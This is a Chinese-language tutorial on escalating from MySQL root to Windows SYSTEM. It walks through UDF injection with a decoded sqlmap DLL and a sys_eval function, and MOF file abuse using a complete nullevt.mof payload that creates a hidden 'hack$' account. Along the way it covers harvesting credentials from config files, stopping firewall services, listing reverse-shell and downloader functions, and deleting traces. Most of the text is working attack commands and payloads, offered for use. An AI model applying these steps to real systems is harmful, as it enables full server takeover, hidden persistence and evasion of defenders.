MySQL提权的必要条件:
- 具有MySQL的root权限,且MySQL以system权限运行。
- 具有执行SQL语句的权限。
获取root密码的方法:
- 查看数据库配置文件关键字:config、conn、sql、data、inc、database等
- 下载mysql安装路径下的数据文件
- 安装路径下的data目录中存放的是数据库的数据信息
- root账号密码存储在mysql数据库下的user表中
- 完整路径=安装路径+\data\mysql\user.MYD
3.暴力破解
MySQL数据库提权的几种方式
- udf提权
- mof提权
- 开机启动脚本(启动项提权)
UDF提权简介
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展。
通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令,将MYSQL账号root转化为系统system权限。
select version(); # 获取数据库版本
select user(); # 获取数据库用户
select @@basedir; # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。
利用条件:
- mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。
- mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
- 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
- 可以将udf.dll写入到相应目录的权限。
导出UDF文件:
关于路径:
MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
获取版本:
select version();
大于5.1,查找mysql的安装路径
select @@basedir;
版本大于5.1默认是不存在lib\plugin文件夹的,有两种方法
创建文件
1.手工创建
这个就不说了,直接创建就好了
2.利用NTFS流创建(不一定会成功)
select 'It is dll' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
创建好文件之后,就可以导出dll
C:/phpStudy/PHPTutorial/MySQL/lib/plugin //在这个路径下
导出dll
设置secure-file-priv参数的值
因为mysql默认设置是不允许导入导出的
secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。如下关于secure_file_priv的配置介绍
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
所以,如果这里的secure_file_priv的值非空的话,近下来操作即导入dll的操作则不能进行,所以我们先把其设置为空
我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ' ' 即可
方法一提权:
安装后页面不会有什么反应,可以去文件夹内看
udf shell提权
没成功的话我们可以使用专门的udf提权shell
选择导出的版本,32位还是64位
查看位数命令
show variables like '%version_%';
导出
导出成功后,创建函数
示例过程中可能会出现创建不成功,或者执行命令提示没有的情况,一般重启一下phpstudy服务就好了,实战情况下不需要
select sys_eval('whoami');
也可以执行其他的一些操作或者自己构建语句
清除痕迹:
drop function sys_eval;// 将函数删除
方法二提权:
sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本
文件夹中的dll文件是通过异或编码的,可以使用sqlmap/extract/cloak.py进行解码
解码
python3 cloak.py -d -i D:\Tools\tools\注入工具\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
将解码后的dll文件上传至MySQL/lib/plugin 路径下
将DLL中的函数引入到MySQL数据库中
创建自定义函数:
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
//创建名为sys_eval的函数,返回值为string类型,调用的文件是lib_mysqludf_sys.dll、
上面创建过,所以提示已经存在
执行命令:
和上面是一样的
清除痕迹:
drop function sys_eval;// 将函数删除
如果要连接3389,
连不上的话可以先停止windows防火墙和筛选
select sys_eval(‘net stop policyagent’);
select sys_eval(‘net stop sharedaccess’);
udf.dll下常见函数:
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;
MOF提权简介
托管对象格式(MOF)文件是创建和注册提供程序,事件类别和事件的简便方法。MOF文件每隔五秒就会监控进程的创建和死亡,若MySQL是以管理员身份启动,并且可以往MOF的文件路径“c:/windows/system32/wbem/mof”中写入文件,便可以通过上传MOF进行提权
(操作系统目录c:\windows\system32\wbem禁止写入)
一般对Windows2003以下操作系统效果较好,Windows2008以上由于保护机制,较少能够成功
环境:
windows server 2003
mysql的my.ini文件内加入“secure-file-priv = "" ”来禁用它,因为默认是开启的,开启状态下我们执行下面的payload会提示该参数被占用
原理:
利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。
利用条件:
具备Mysql的root权限
- 只使用于windows系统,一般低版本系统才可以用,比如xp、server2003
- 对C:\Windows\System32\wbem\MOF目录有读写权限
- 可以找到一个可写目录,写入mof文件
提权方法1:
生成“nullevt.mof”文件,上传到网站根目录
//下面代码就是nullevt.mof的内容,创建moonteam$用户并加入到管理员组
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hack$ 123456Aa. /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
执行Mysql 语句,导出到 %SystemRoot%System32WbemMOF 目录下,利用的就是该目录下每分钟会在特定的时间去执行一次的特性,来执行我们的 DOS 命令。
select load_file('C:/phpStudy/PHPTutorial/WWW/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof';
这点注意一个坑点,若MOF文件存在问题,则会出现在“C:\WINDOWS\system32\wbem\mof\bad”目录下,若没问题就会出现在“C:\WINDOWS\system32\wbem\mof\good”目录下;
成功把MOF导出时,MOF就会直接被执行;
完了记得删除文件